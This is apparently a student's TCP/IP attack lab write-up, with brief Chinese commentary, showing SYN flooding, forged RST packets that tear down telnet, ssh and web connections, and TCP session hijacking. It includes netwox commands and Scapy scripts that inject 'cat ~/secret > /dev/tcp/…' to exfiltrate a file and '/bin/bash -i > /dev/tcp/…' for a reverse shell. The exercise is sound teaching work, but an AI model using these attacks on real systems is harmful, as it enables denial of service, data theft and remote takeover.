

TCP/IP Attack Lab

Task 1

```
[09/11/20]seed@VM:~/lab/lab4_task1$ sudo sysctl -a | grep cookie
net.ipv4.tcp_syncookies = 1
sysctl: reading key "net.ipv6.conf.all.stable_secret"
sysctl: reading key "net.ipv6.conf.default.stable_secret"
sysctl: reading key "net.ipv6.conf.enp0s3.stable_secret"
sysctl: reading key "net.ipv6.conf.lo.stable_secret"
[09/11/20]seed@VM:~/lab/lab4_task1$ sudo sysctl -w net.ipv4.tcp_syncookies=0
net.ipv4.tcp_syncookies = 0
```

首先将相应的保护措施关闭。

```
[09/11/20]seed@VM:~/lab/lab4_task1$ telnet 10.0.2.4
Trying 10.0.2.4...
Connected to 10.0.2.4.
Escape character is '^]'.
Ubuntu 18.04.4 LTS
bwhe-VirtualBox login: bwhe
Password:
Last login: Thu Sep 10 11:37:09 CST 2020 from 10.0.2.6 on pts/1
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 5.4.0-47-generic x86_64)
```

未发动攻击时，telnet 可以连接

```
[09/11/20]seed@VM:~$ sudo netwox 76 -i 10.0.2.4 -p 23 -s raw
```

```
[09/11/20]seed@VM:~/lab/lab4_task1$ telnet 10.0.2.4
Trying 10.0.2.4...
```

发动攻击后，telnet 已经连接不上

```
bwhe@bwhe-VirtualBox:~$ netstat -tna
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.1:631           0.0.0.0:*               LISTEN
tcp        0      0 10.0.2.4:53888          151.101.10.49:443       ESTABLISHED
tcp        0      0 10.0.2.4:37060          8.43.85.13:443          ESTABLISHED
tcp6       0      0 :::23                   :::*                     LISTEN
tcp6       0      0 :::1:631                :::*                     LISTEN
tcp6       0      0 10.0.2.4:23             250.61.54.242:14711     SYN_RECV
tcp6       0      0 10.0.2.4:23             240.146.75.210:15125     SYN_RECV
tcp6       0      0 10.0.2.4:23             0.102.145.146:21397     SYN_RECV
tcp6       0      0 10.0.2.4:23             244.70.5.10:41681       SYN_RECV
tcp6       0      0 10.0.2.4:23             246.185.82.129:51630    SYN_RECV
tcp6       0      0 10.0.2.4:23             240.88.225.96:39731     SYN_RECV
tcp6       0      0 10.0.2.4:23             248.240.158.233:52917   SYN_RECV
tcp6       0      0 10.0.2.4:23             240.99.73.176:14140     SYN_RECV
tcp6       0      0 10.0.2.4:23             250.2.46.22:57793       SYN_RECV
tcp6       0      0 10.0.2.4:23             245.36.194.238:2400     SYN_RECV
tcp6       0      0 10.0.2.4:23             250.19.135.193:17019    SYN_RECV
tcp6       0      0 10.0.2.4:23             242.24.95.3:18369       SYN_RECV
tcp6       0      0 10.0.2.4:23             247.227.5.49:58887      SYN_RECV
tcp6       0      0 10.0.2.4:23             240.208.82.85:31465     SYN_RECV
tcp6       0      0 10.0.2.4:23             0.67.219.218:30207      SYN_RECV
```

攻击对象检测存在大量的等待 SYN 报文的半连接状态

```
bwhe@bwhe-VirtualBox:~$ sudo sysctl -w net.ipv4.tcp_syncookies=1
[sudo] password for bwhe:
Sorry, try again.
[sudo] password for bwhe:
net.ipv4.tcp_syncookies = 1
```

打开相关保护措施之后

```
[09/11/20]seed@VM:~/lab/lab4_task1$ telnet 10.0.2.4
Trying 10.0.2.4...
telnet: Unable to connect to remote host: Connection timed out
[09/11/20]seed@VM:~/lab/lab4_task1$ telnet 10.0.2.4
Trying 10.0.2.4...
Connected to 10.0.2.4.
Escape character is '^]'.
Ubuntu 18.04.4 LTS
bwhe-VirtualBox login: bwhe
Password:
Last login: Sat Sep 12 09:09:50 CST 2020 from 10.0.2.5 on pts/1
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 5.4.0-47-generic x86_64)

 * Documentation:  https://help.ubuntu.com
```

telnet 连接成功

Task 2

```
[09/11/20]seed@VM:~$ sudo netwox 78 -f "tcp" -s raw
```

攻击代码如上图

```
* Canonical Livepatch is available for installation.
- Reduce system reboots and improve kernel security. Activate at:
  https://ubuntu.com/livepatch

106 packages can be updated.
1 update is a security update.

Your Hardware Enablement Stack (HWE) is supported until April 2023.
bwhe@bwhe-VirtualBox:~$ hConnection closed by foreign host.
```

telnet 连接被迅速关闭

```
#!/usr/bin/python
from scapy.all import *
ip = IP(src="10.0.2.4", dst="10.0.2.6")
tcp = TCP(sport=23, dport=46270, flags="R", seq=3077369787)
pkt = ip/tcp
ls(pkt)
send(pkt, verbose=0)
```

攻击代码如上图所示


```
Your Hardware Enablement Stack (HWE) is supported until April 2023.  
bwhe@bwhe-VirtualBox:~$  
bwhe@bwhe-VirtualBox:~$ sssdConnection closed by foreign host.
```

telnet 连接被迅速关闭

进行 ssh 相关配置之后，成功登陆进入

```
[09/11/20]seed@VM:~$ ssh tmp@10.0.2.4  
tmp@10.0.2.4's password:  
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 5.4.0-47-generic x86_64)
```

```
$ ls  
bin      dev      initrd.img      lib64      mnt      root      snap      sys      var  
boot     etc      initrd.img.old  lost+found  opt      run      srv      tmp      vmlinuz  
cdrom    home     lib             media      proc     sbin     swapfile  usr      vmlinuz.olo  
$ spacket_write_wait: Connection to 10.0.2.4 port 22: Broken pipe  
[09/11/20]seed@VM:~$
```

再次利用刚刚的 netwox 攻击方式，连接被迅速关闭

```
#!/usr/bin/python  
from scapy.all import *  
ip = IP(src="10.0.2.4", dst="10.0.2.6")  
tcp = TCP(sport=22, dport=53380, flags="R", seq=955592983)  
pkt = ip/tcp  
ls(pkt)  
send(pkt, verbose=0)  
~  
~  
~
```

再利用 Scapy 进行攻击

```
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by  
applicable law.  
  
Last login: Sat Sep 12 10:01:41 2020 from 10.0.2.6  
Could not chdir to home directory /home/tmp: No such file or directory  
$ 22packet_write_wait: Connection to 10.0.2.4 port 22: Broken pipe  
[09/11/20]seed@VM:~$
```

同样连接被迅速关闭

Task 3

```
[09/11/20]seed@VM:~$ sudo netwox 78 -f "tcp" -s raw
```

因为在虚拟机上看视频较为麻烦，所以打算用 netwox 直接让虚拟机无法访问网页

 百度一下

百度热榜

换一换

- 1 少年3岁半上二年级13岁高考 **新**
- 2 美国计划对国际学生实行新限制
- 3 高福建议分层进行新冠疫苗接种
- 4 张纪中承认再婚
- 5 印军山地战部队已拉响最高警报 **热**
- 6 逃犯自首求先领证结婚

随意点开一个网页，会产生 load 错误

Secure Connection Failed

An error occurred during a connection to www.baidu.com. PR_CONNECT_RESET_ERROR

- The page you are trying to view cannot be shown because the authenticity of the received data could not be verified.
- Please contact the website owners to inform them of this problem.

[Learn more...](#)

Try Again

说明我们的 RST 攻击已经实现

Task 4

Using netwox

```
► Frame 6: 66 bytes on wire (528 bits), 66 bytes captured (528 bits) on interface 0
► Ethernet II, Src: PcsCompu_67:74:9f (08:00:27:67:74:9f), Dst: PcsCompu_a2:51:7c (08:00:27:a2:51:7c)
► Internet Protocol Version 4, Src: 10.0.2.7, Dst: 10.0.2.4
► Transmission Control Protocol, Src Port: 39286, Dst Port: 23, Seq: 2442842113, Ack: 2537659605, Len: 0
```

```
[09/13/20]seed@VM:~$ sudo netwox 40 -l 10.0.2.7 -m 10.0.2.4 -o 39286 -p 23 -q 2442842113 -r 2537659605 --tcp-ack -H "0d20636174207e2f736563726574203e202f6465762f7463702f31302e302e322e352f393039300d"
```

IP

version 4	ihl 5	tos 0x00=0	totlen 0x0050=80
id 0x03AC=940			r D M 0 0 0 offsetfrag 0x0000=0
ttl 0x00=0		protocol 0x06=6	checksum 0x9EF2
source 10.0.2.7			
destination 10.0.2.4			

TCP

source port 0x9976=39286	destination port 0x0017=23
seqnum 0x919AD001=2442842113	

伪造报文如上图所示

```
[09/13/20]seed@VM:~$ nc -lv 9090
Listening on [0.0.0.0] (family 0, port 9090)
Connection from [10.0.2.4] port 9090 [tcp/*] accepted (family 2, sport 59556)
HBW is so smart
[09/13/20]seed@VM:~$
```

结果如上图所示

Using Scapy

通过 wireshark 观察 ACK 报文的相关信息

```
▶ Ethernet II, Src: PcsCompu_2a:05:36 (08:00:27:2a:05:36), Dst: PcsCompu_a2:51:7c (08:00:27:a2:51:7c)
▶ Internet Protocol Version 4, Src: 10.0.2.6, Dst: 10.0.2.4
▼ Transmission Control Protocol, Src Port: 46300, Dst Port: 23, Seq: 78279433, Ack: 3839892842, Len: 0
  Source Port: 46300
  Destination Port: 23
  [Stream index: 0]
```

```
#!/usr/bin/python
from scapy.all import *
ip = IP(src="10.0.2.6", dst="10.0.2.4")
tcp = TCP(sport=46300, dport=23, flags="A", seq=78279433, ack=3839892842)
data = "\r cat ~/secret > /dev/tcp/10.0.2.5/9090\r"
pkt = ip/tcp/data
ls(pkt)
send(pkt, verbose=0)
```

相应伪造报文如上图所示

```
[09/11/20]seed@VM:~$ nc -lv 9090
Listening on [0.0.0.0] (family 0, port 9090)
Connection from [10.0.2.4] port 9090 [tcp/*] accepted (family 2, sport 59772)
HBW is so smart
```

结果如上图所示

Task 5

```
▶ Frame 4: 66 bytes on wire (528 bits), 66 bytes captured (528 bits) on interface 0
▶ Ethernet II, Src: PcsCompu_67:74:9f (08:00:27:67:74:9f), Dst: PcsCompu_a2:51:7c (08:00:27:a2:51:7c)
▶ Internet Protocol Version 4, Src: 10.0.2.7, Dst: 10.0.2.4
▶ Transmission Control Protocol, Src Port: 57130, Dst Port: 23, Seq: 2108698288, Ack: 3676354362, Len: 0
```

通过 wireshark 观察 ACK 报文的相关信息

```
#!/usr/bin/python
from scapy.all import *
ip = IP(src="10.0.2.7", dst="10.0.2.4")
tcp = TCP(sport=57130, dport=23, flags="A", seq= 2108698288, ack=3676354362)
data = "\r /bin/bash -i > /dev/tcp/10.0.2.5/9090 2>&1 0<&1 \r"
pkt = ip/tcp/data
ls(pkt)
send(pkt, verbose=0)
~
~
~
```

相应伪造报文如上图所示

```
[09/13/20]seed@VM:~$ nc -l 9090 -v
Listening on [0.0.0.0] (family 0, port 9090)
Connection from [10.0.2.4] port 9090 [tcp/*] accepted (family 2, sport 55122)
bwhe@bwhe-VirtualBox:~$ ls
ls
Desktop
Documents
Downloads
Music
os_experiment
Pictures
Public
secret
Templates
Videos
```

结果如上图所示

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